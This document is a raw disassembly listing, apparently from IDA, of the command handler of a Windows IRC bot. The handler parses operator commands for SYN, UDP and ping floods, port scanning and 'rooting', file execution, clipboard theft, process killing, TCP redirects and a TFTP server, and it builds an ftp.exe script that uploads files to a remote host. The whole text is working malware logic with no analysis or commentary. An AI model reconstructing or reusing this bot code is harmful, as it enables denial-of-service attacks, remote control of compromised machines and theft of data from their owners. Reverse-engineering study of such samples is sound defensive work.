lea eax, [ebp+var_20]
push [ebp+arg_10]
push eax
call sub_40C720
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_20]
push eax
push [ebp+arg_0]
call sub_4051D9
push esi
push [ebp+arg_0]
call sub_40E4B0
add esp, 30h
loc_4082E7: ; CODE XREF: sub_4077FD+A22j
test eax, eax
jnz loc_408224
mov esi, 1FFh
lea eax, [ebp+var_B30]
push esi
push [ebp+arg_0]
push eax
call sub_40C720
lea eax, [ebp+var_B30]
push esi
push eax
lea eax, [ebp+var_D30]
push eax
call sub_40C720
mov esi, offset asc_41F924 ; " "
lea eax, [ebp+var_D30]
push esi
push eax
call sub_40E6E9
add esp, 20h
mov [ebp+var_A4], eax
mov [ebp+arg_8], 1
loc_40833A: ; CODE XREF: sub_4077FD+B57j
push esi
push ebx
call sub_40E6E9
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
inc [ebp+arg_8]
cmp [ebp+arg_8], 20h
mov [ebp+ecx*4+var_A4], eax
jl short loc_40833A
lea eax, [ebp+edi+var_A4]
mov ecx, [eax]
cmp ecx, ebx
jz loc_407C50
add ecx, 3
mov [eax], ecx
loc_40836C: ; CODE XREF: sub_4077FD+9ADj
mov esi, [ebp+edi+var_A4]
push esi
push offset aRndnick ; "rndnick"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40B15F
push esi
push offset aRn ; "rn"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40B15F
push esi
push offset aDie ; "die"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40B13D
push esi
push offset aDe ; "de"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40B13D
push esi
push offset aLogout ; "logout"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40B099
push esi
push offset aLo ; "lo"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40B099
push esi
push offset aVersionw ; "versionw"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40B084
push esi
push offset aVerw ; "verw"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40B084
push esi
push offset aSecure ; "secure"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AF78
push esi
push offset aSec ; "sec"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AF78
push esi
push offset aUnsecure ; "unsecure"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AF78
push esi
push offset aUnsec ; "unsec"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AF78
push esi
push offset aLogstop ; "logstop"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz short loc_408498
push [ebp+edi+var_A0]
push 1Ah
push offset aLogList ; "Log list"
push offset aLog ; "LOG "
jmp loc_40AF5C
; ---------------------------------------------------------------------------
loc_408498: ; CODE XREF: sub_4077FD+C81j
push esi
push offset aRedirectstop ; "redirectstop"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz short loc_4084C1
push [ebp+edi+var_A0]
push 0Fh
push offset aTcpRedirect ; "TCP redirect"
push offset aRedirect_0 ; "REDIRECT "
jmp loc_40AF5C
; ---------------------------------------------------------------------------
loc_4084C1: ; CODE XREF: sub_4077FD+CAAj
push esi
push offset aSynstop ; "synstop"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz short loc_4084EA
push [ebp+edi+var_A0]
push 0Ah
push offset aSynFlood ; "Syn flood"
push offset aSyn ; "SYN "
jmp loc_40AF5C
; ---------------------------------------------------------------------------
loc_4084EA: ; CODE XREF: sub_4077FD+CD3j
push esi
push offset aUdpstop ; "udpstop"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz short loc_408513
push [ebp+edi+var_A0]
push 0Eh
push offset aUdpFlood ; "UDP flood"
push offset aUdp ; "UDP "
jmp loc_40AF5C
; ---------------------------------------------------------------------------
loc_408513: ; CODE XREF: sub_4077FD+CFCj
push esi
push offset aPingstop ; "pingstop"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz short loc_40853C
push [ebp+edi+var_A0]
push 0Dh
push offset aPingFlood ; "Ping flood"
push offset aPing_1 ; "PING "
jmp loc_40AF5C
; ---------------------------------------------------------------------------
loc_40853C: ; CODE XREF: sub_4077FD+D25j
push esi
push offset aTftpstop ; "tftpstop"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz short loc_408565
push [ebp+edi+var_A0]
push 4
push offset aServer ; "Server"
push offset aTftp_0 ; "TFTP "
jmp loc_40AF5C
; ---------------------------------------------------------------------------
loc_408565: ; CODE XREF: sub_4077FD+D4Ej
push esi
push offset aProcsstop ; "procsstop"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AF49
push esi
push offset aPsstop ; "psstop"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AF49
push esi
push offset aSecurestop ; "securestop"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz short loc_4085B8
push [ebp+edi+var_A0]
push 18h
push offset aSecure_0 ; "Secure"
push offset aSecure_1 ; "SECURE "
jmp loc_40AF5C
; ---------------------------------------------------------------------------
loc_4085B8: ; CODE XREF: sub_4077FD+DA1j
push esi
push offset aScanstop ; "scanstop"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz short loc_4085E1
push [ebp+edi+var_A0]
push 7
push offset aProcess ; "process"
push offset aRooting ; "Rooting"
jmp loc_40AF5C
; ---------------------------------------------------------------------------
loc_4085E1: ; CODE XREF: sub_4077FD+DCAj
push esi
push offset aScanstats ; "scanstats"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AF30
push esi
push offset aStats ; "stats"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AF30
push esi
push offset aReconnect ; "reconnect"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AF1A
push esi
push offset aR ; "r"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AF1A
push esi
push offset aDisconnect ; "disconnect"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AF03
push esi
push offset aD ; "d"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AF03
push esi
push offset aQuit_0 ; "quit"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AEBA
push esi
push offset aQ ; "q"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AEBA
push esi
push offset aStatus ; "status"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AE7C
push esi
push offset aS_2 ; "s"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AE7C
push esi
push offset aIdw ; "idw"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AE45
push esi
push offset aIdw ; "idw"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AE45
push esi
push offset aReboot ; "reboot"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz short loc_40872F
call sub_4054F9
test eax, eax
mov eax, offset unk_41F5F4
jnz short loc_408701
mov eax, offset unk_41F5CC
loc_408701: ; CODE XREF: sub_4077FD+EFDj
push eax
lea eax, [ebp+var_2E4]
push eax
call sub_40C6C3
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
add esp, 1Ch
jmp loc_409BDA
; ---------------------------------------------------------------------------
loc_40872F: ; CODE XREF: sub_4077FD+EEFj
push esi
push offset aThreads ; "threads"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AD58
push esi
push offset aT ; "t"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AD58
push esi
push offset aAliases ; "aliases"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AD42
push esi
push offset aAl ; "al"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AD42
push esi
push offset aNetinfo ; "netinfo"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AD12
push esi
push offset aNi ; "ni"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AD12
push esi
push offset aSysinfo ; "sysinfo"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40ACFB
push esi
push offset aSi ; "si"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40ACFB
push esi
push offset aRrmm010kt ; "rrmm010kt"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40ACC1
push esi
push offset aRrmm010kt ; "rrmm010kt"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40ACC1
push esi
push offset aProcs ; "procs"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40ABA6
push esi
push offset aPs ; "ps"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40ABA6
push esi
push offset aUptime ; "uptime"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AB1F
push esi
push offset aUp ; "up"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AB1F
push esi
push offset aDriveinfo ; "driveinfo"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AAFF
push esi
push offset aDrv ; "drv"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AAFF
push esi
push offset aWho ; "who"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz short loc_408906
cmp [ebp+var_8], ebx
jnz short loc_4088AF
push ebx
push [ebp+var_4]
push offset aLoginList ; "-[Login List]-"
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
add esp, 14h
loc_4088AF: ; CODE XREF: sub_4077FD+1096j
mov edi, [ebp+arg_18]
xor esi, esi
loc_4088B4: ; CODE XREF: sub_4077FD+10FDj
cmp [edi], bl
lea eax, [edi+1]
jnz short loc_4088C0
mov eax, offset aEmpty ; "<Empty>"
loc_4088C0: ; CODE XREF: sub_4077FD+10BCj
push eax
push esi
lea eax, [ebp+var_2E4]
push offset aD_S ; "%d. %s"
push eax
call sub_40C6C3
push 1
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
add esp, 24h
inc esi
add edi, 80h
cmp esi, 2
jl short loc_4088B4
push offset unk_41F520
jmp loc_40A2FC
; ---------------------------------------------------------------------------
loc_408906: ; CODE XREF: sub_4077FD+1091j
push esi
push offset aGetclip ; "getclip"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AAB6
push esi
push offset aGc ; "gc"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AAB6
push esi
push offset aFlusharp ; "flusharp"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AA8B
push esi
push offset aFarp ; "farp"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AA8B
push esi
push offset aFlushdns ; "flushdns"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AA5B
push esi
push offset aFdns ; "fdns"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AA5B
push esi
push offset aCurrentip ; "currentip"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AA1E
push esi
push offset aCip ; "cip"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40AA1E
push esi
push offset aTftpserver ; "tftpserver"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A8E9
push esi
push offset aTftp ; "tftp"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A8E9
push esi
push offset aAlls ; "alls"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A5DC
push esi
push offset aAlls ; "alls"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A5DC
mov eax, [ebp+edi+var_A0]
cmp eax, ebx
mov [ebp+arg_10], eax
jz loc_407C50
push esi
push offset aNick_0 ; "nick"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A5CF
push esi
push offset aN ; "n"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A5CF
push esi
push offset aJoin ; "join"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A5C0
push esi
push offset aJ ; "j"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A5C0
push esi
push offset aPart_0 ; "part"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A5B3
push esi
push offset aPt ; "pt"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A5B3
push esi
push offset aRaw ; "raw"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A58A
push esi
push offset aR ; "r"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A58A
push esi
push offset aKillthread ; "killthread"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A4CD
push esi
push offset aK ; "k"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A4CD
push esi
push offset aPrefixw ; "prefixw"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A4B4
push esi
push offset aPrw ; "prw"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A4B4
push esi
push offset aOpen ; "open"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A486
push esi
push offset aO ; "o"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A486
push esi
push offset aServerw ; "serverw"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A45D
push esi
push offset aSew ; "sew"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A45D
push esi
push offset aDns ; "dns"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A3F5
push esi
push offset aDn ; "dn"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A3F5
push esi
push offset aKillproc ; "killproc"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A3C5
push esi
push offset aKp ; "kp"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A3C5
push esi
push offset aKill ; "kill"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A366
push esi
push offset aKi ; "ki"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A366
push esi
push offset aDelete ; "delete"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A307
push esi
push offset aDel ; "del"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A307
push esi
push offset aMirccmd ; "mirccmd"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A291
push esi
push offset aMirc_0 ; "mirc"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A291
push esi
push offset aReadfile ; "readfile"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A203
push esi
push offset aRf ; "rf"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A203
push esi
push offset aGethost ; "gethost"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A11F
push esi
push offset aGh ; "gh"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A11F
mov eax, [ebp+edi+var_9C]
cmp eax, ebx
mov [ebp+arg_18], eax
jz loc_407C50
push esi
push offset aAddalias ; "addalias"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A0DC
push esi
push offset aAa ; "aa"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A0DC
push esi
push offset aPrivmsg_0 ; "privmsg"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A09D
push esi
push offset aPm ; "pm"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A09D
push esi
push offset aAction ; "action"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A03B
push esi
push offset aA_0 ; "a"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40A03B
push esi
push offset aCycle ; "cycle"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_409FDD
push esi
push offset aCy ; "cy"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_409FDD
push esi
push offset aMode ; "mode"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_409FAC
push esi
push offset aM ; "m"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_409FAC
push esi
push offset aRepeat ; "repeat"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_409EE4
push esi
push offset aRp ; "rp"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_409EE4
push esi
push offset aDelay ; "delay"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_409E50
push esi
push offset aDe ; "de"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_409E50
push esi
push offset aKkttupw ; "kkttupw"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_409C9D
push esi
push offset aKkttupw ; "kkttupw"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_409C9D
push esi
push offset aExecute ; "execute"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_409BF1
push esi
push offset aE ; "e"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_409BF1
push esi
push offset aRename ; "rename"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_409B69
push esi
push offset aMv ; "mv"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_409B69
mov eax, [ebp+edi+var_98]
cmp eax, ebx
mov [ebp+arg_0], eax
jz loc_407C50
push esi
push offset aSynflood ; "synflood"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_409A59
push esi
push offset aSyn_0 ; "syn"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_409A59
push esi
push offset aKktt ; "kktt"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_409918
push esi
push offset aKktt ; "kktt"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_409918
push esi
push offset aRedirect ; "redirect"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40981D
push esi
push offset aRd ; "rd"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_40981D
push esi
push offset aPortscan ; "portscan"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_409729
push esi
push offset aPsc ; "psc"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_409729
mov eax, [ebp+edi+var_94]
cmp eax, ebx
mov [ebp+arg_8], eax
jz loc_407C50
push esi
push offset aAss ; "ass"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_4093D9
push esi
push offset aAas ; "aas"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_4093D9
push esi
push offset aUdpflood ; "udpflood"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_409290
push esi
push offset aUdp_0 ; "udp"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_409290
push esi
push offset aU ; "u"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_409290
push esi
push offset aPingflood ; "pingflood"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_409152
push esi
push offset aPing_0 ; "ping"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_409152
push esi
push offset aP ; "p"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_409152
mov edi, [ebp+edi+var_90]
cmp edi, ebx
jz loc_407C50
push esi
push offset aUpload ; "upload"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz loc_40B19B
push 4
push edi
call sub_4037EA
pop ecx
test eax, eax
pop ecx
jnz short loc_409025
push edi
push offset dword_41F304
loc_408FEC: ; CODE XREF: sub_4077FD+1F12j
; sub_4077FD+2CF2j
lea eax, [ebp+var_2E4]
push eax
call sub_40C6C3
add esp, 0Ch
loc_408FFB: ; CODE XREF: sub_4077FD+1F27j
; sub_4077FD+291Dj ...
cmp [ebp+var_8], ebx
jnz loc_40AC9D
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_9C]
push [ebp+arg_4]
loc_409018: ; CODE XREF: sub_4077FD+1BC5j
; sub_4077FD+2355j
call sub_404555
add esp, 14h
jmp loc_40AC9D
; ---------------------------------------------------------------------------
loc_409025: ; CODE XREF: sub_4077FD+17E7j
call dword_41805C ; GetTickCount
push eax
call sub_40CB55
pop ecx
call sub_40CB5F
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_40CB5F
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_40CB5F
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+var_3E8]
push edx
push eax
lea eax, [ebp+var_6AC]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_40C6C3
lea eax, [ebp+var_6AC]
push offset aAb ; "ab"
push eax
call sub_40DDC8
mov esi, eax
add esp, 20h
cmp esi, ebx
jz loc_407C50
push edi
push [ebp+arg_8]
push [ebp+arg_0]
push [ebp+arg_18]
push [ebp+arg_10]
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push esi
call sub_40EA81
push esi
call sub_40D9CA
lea eax, [ebp+var_6AC]
push eax
lea eax, [ebp+var_7AC]
push offset aSS_4 ; "-s:%s"
push eax
call sub_40C6C3
add esp, 2Ch
lea eax, [ebp+var_7AC]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen ; "open"
push ebx
call dword_42D7F8
push [ebp+arg_10]
test eax, eax
push edi
jz short loc_4090F0
push offset dword_41F294
jmp short loc_4090F5
; ---------------------------------------------------------------------------
loc_4090F0: ; CODE XREF: sub_4077FD+18EAj
push offset dword_41F264
loc_4090F5: ; CODE XREF: sub_4077FD+18F1j
call sub_40C6C3
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_40911E
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
add esp, 14h
loc_40911E: ; CODE XREF: sub_4077FD+1903j
lea eax, [ebp+var_2E4]
push eax
call sub_403145
jmp short loc_409138
; ---------------------------------------------------------------------------
loc_40912C: ; CODE XREF: sub_4077FD+194Ej
lea eax, [ebp+var_6AC]
push eax
call sub_40EA57
loc_409138: ; CODE XREF: sub_4077FD+192Dj
lea eax, [ebp+var_6AC]
push 4
push eax
call sub_4037EA
add esp, 0Ch
test eax, eax
jnz short loc_40912C
jmp loc_407C50
; ---------------------------------------------------------------------------
loc_409152: ; CODE XREF: sub_4077FD+1787j
; sub_4077FD+179Cj ...
cmp dword_42D960, ebx
mov esi, [ebp+arg_4]
jnz loc_409265
mov eax, [ebp+var_8]
push 7Fh
push [ebp+arg_10]
mov [ebp+var_2EC], eax
mov eax, [ebp+var_4]
mov [ebp+var_2F0], eax
lea eax, [ebp+var_384]
push eax
call sub_40C720
push [ebp+arg_18]
call sub_40D9BF
push [ebp+arg_0]
mov [ebp+var_304], eax
call sub_40D9BF
push [ebp+arg_8]
mov [ebp+var_300], eax
call sub_40D9BF
push 7Fh
mov [ebp+var_2FC], eax
push [ebp+var_9C]
lea eax, [ebp+var_404]
push eax
call sub_40C720
push [ebp+var_2FC]
lea eax, [ebp+var_384]
mov [ebp+var_408], esi
push [ebp+var_300]
push eax
lea eax, [ebp+var_2E4]
push [ebp+var_304]
push offset aPingSendingDPi ; "[PING]: Sending %d pings to %s. packet "...
push eax
call sub_40C6C3
push ebx
lea eax, [ebp+var_2E4]
push 0Dh
push eax
call sub_40C062
add esp, 48h
mov [ebp+var_2F4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_408]
push ebx
push eax
push offset sub_405985
push ebx
push ebx
call dword_418048 ; CreateThread
mov ecx, [ebp+var_2F4]
imul ecx, 234h
cmp eax, ebx
mov dword_42F41C[ecx], eax
jnz short loc_40925B
call dword_418044 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2E4]
push offset aPingFailedToSt ; "[PING]: Failed to start flood thread, e"...
push eax
call sub_40C6C3
jmp short loc_40927B
; ---------------------------------------------------------------------------
loc_409253: ; CODE XREF: sub_4077FD+1A64j
push 32h
call dword_418040 ; Sleep
loc_40925B: ; CODE XREF: sub_4077FD+1A3Aj
cmp [ebp+var_2E8], ebx
jz short loc_409253
jmp short loc_40927E
; ---------------------------------------------------------------------------
loc_409265: ; CODE XREF: sub_4077FD+195Ej
push 1FFh
lea eax, [ebp+var_2E4]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax
call sub_40C720
loc_40927B: ; CODE XREF: sub_4077FD+1A54j
add esp, 0Ch
loc_40927E: ; CODE XREF: sub_4077FD+1A66j
cmp [ebp+var_8], ebx
jnz loc_40AC9D
push ebx
push [ebp+var_4]
jmp loc_409B44
; ---------------------------------------------------------------------------
loc_409290: ; CODE XREF: sub_4077FD+1748j
; sub_4077FD+175Dj ...
mov eax, [ebp+var_8]
mov esi, [ebp+var_4]
push 7Fh
mov [ebp+var_2EC], eax
push [ebp+arg_10]
lea eax, [ebp+var_384]
mov [ebp+var_2F0], esi
push eax
call sub_40C720
push [ebp+arg_18]
call sub_40D9BF
push [ebp+arg_0]
mov [ebp+var_304], eax
call sub_40D9BF
push [ebp+arg_8]
mov [ebp+var_300], eax
call sub_40D9BF
mov edi, [ebp+edi+var_90]
add esp, 18h
cmp edi, ebx
mov [ebp+var_2FC], eax
jz short loc_4092FA
push edi
call sub_40D9BF
pop ecx
mov [ebp+var_2F8], eax
jmp short loc_409300
; ---------------------------------------------------------------------------
loc_4092FA: ; CODE XREF: sub_4077FD+1AECj
mov [ebp+var_2F8], ebx
loc_409300: ; CODE XREF: sub_4077FD+1AFBj
push 7Fh
lea eax, [ebp+var_404]
push [ebp+var_9C]
push eax
call sub_40C720
push [ebp+var_2FC]
mov edi, [ebp+arg_4]
lea eax, [ebp+var_384]
mov [ebp+var_408], edi
push [ebp+var_300]
push eax
lea eax, [ebp+var_2E4]
push [ebp+var_304]
push offset dword_41F188
push eax
call sub_40C6C3
push ebx
lea eax, [ebp+var_2E4]
push 0Eh
push eax
call sub_40C062
add esp, 30h
mov [ebp+var_2F4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_408]
push ebx
push eax
push offset sub_405B11
push ebx
push ebx
call dword_418048 ; CreateThread
mov ecx, [ebp+var_2F4]
imul ecx, 234h
cmp eax, ebx
mov dword_42F41C[ecx], eax
jnz short loc_4093CF
call dword_418044 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2E4]
push offset dword_41F14C
push eax
call sub_40C6C3
add esp, 0Ch
loc_4093A9: ; CODE XREF: sub_4077FD+1BDAj
cmp [ebp+var_8], ebx
jnz loc_40AC9D
push ebx
lea eax, [ebp+var_2E4]
push esi
push eax
push [ebp+var_9C]
push edi
jmp loc_409018
; ---------------------------------------------------------------------------
loc_4093C7: ; CODE XREF: sub_4077FD+1BD8j
push 32h
call dword_418040 ; Sleep
loc_4093CF: ; CODE XREF: sub_4077FD+1B8Fj
cmp [ebp+var_2E8], ebx
jz short loc_4093C7
jmp short loc_4093A9
; ---------------------------------------------------------------------------
loc_4093D9: ; CODE XREF: sub_4077FD+171Ej
; sub_4077FD+1733j
push 7
call sub_40C2A4
push [ebp+arg_18]
mov esi, eax
call sub_40D9BF
add eax, esi
pop ecx
cmp eax, 258h
pop ecx
jle short loc_40941D
push esi
lea eax, [ebp+var_2E4]
push offset unk_41F10C
push eax
call sub_40C6C3
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_9C]
jmp loc_40A08D
; ---------------------------------------------------------------------------
loc_40941D: ; CODE XREF: sub_4077FD+1BF6j
push [ebp+arg_10]
call sub_40D9BF
push [ebp+arg_18]
mov [ebp+var_31C], eax
call sub_40D9BF
push [ebp+arg_0]
mov [ebp+var_304], eax
call sub_40D9BF
add esp, 0Ch
cmp eax, 3
mov [ebp+var_318], eax
jnb short loc_409458
push 3
pop eax
mov [ebp+var_318], eax
loc_409458: ; CODE XREF: sub_4077FD+1C50j
push 0Ah
pop ecx
cmp eax, ecx
jbe short loc_409465
mov [ebp+var_318], ecx
loc_409465: ; CODE XREF: sub_4077FD+1C60j
push [ebp+arg_8]
call sub_40D9BF
mov [ebp+var_314], eax
mov eax, 3E7h
cmp [ebp+var_314], eax
pop ecx
jbe short loc_409487
mov [ebp+var_314], eax
loc_409487: ; CODE XREF: sub_4077FD+1C82j
or [ebp+var_300], 0FFFFFFFFh
cmp dword_41A068, ebx
mov [ebp+arg_8], ebx
jz short loc_4094D6
mov esi, offset dword_41A068
loc_40949E: ; CODE XREF: sub_4077FD+1CBBj
push [ebp+arg_10]
lea eax, [esi-28h]
push eax
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz short loc_4094BC
inc [ebp+arg_8]
add esi, 3Ch
cmp [esi], ebx
jnz short loc_40949E
jmp short loc_4094D6
; ---------------------------------------------------------------------------
loc_4094BC: ; CODE XREF: sub_4077FD+1CB1j
mov eax, [ebp+arg_8]
mov ecx, eax
mov [ebp+var_300], eax
imul ecx, 3Ch
mov ecx, dword_41A068[ecx]
mov [ebp+var_31C], ecx
loc_4094D6: ; CODE XREF: sub_4077FD+1C9Aj
; sub_4077FD+1CBDj
cmp [ebp+var_31C], ebx
jnz short loc_4094E8
push offset unk_41F0D4
jmp loc_40A4F9
; ---------------------------------------------------------------------------
loc_4094E8: ; CODE XREF: sub_4077FD+1CDFj
mov esi, [ebp+edi+var_90]
cmp esi, ebx
mov [ebp+arg_18], esi
jz short loc_409526
cmp byte ptr [esi], 23h
jz short loc_409526
push esi
lea eax, [ebp+var_430]
push 10h
push eax
call sub_40D3F7
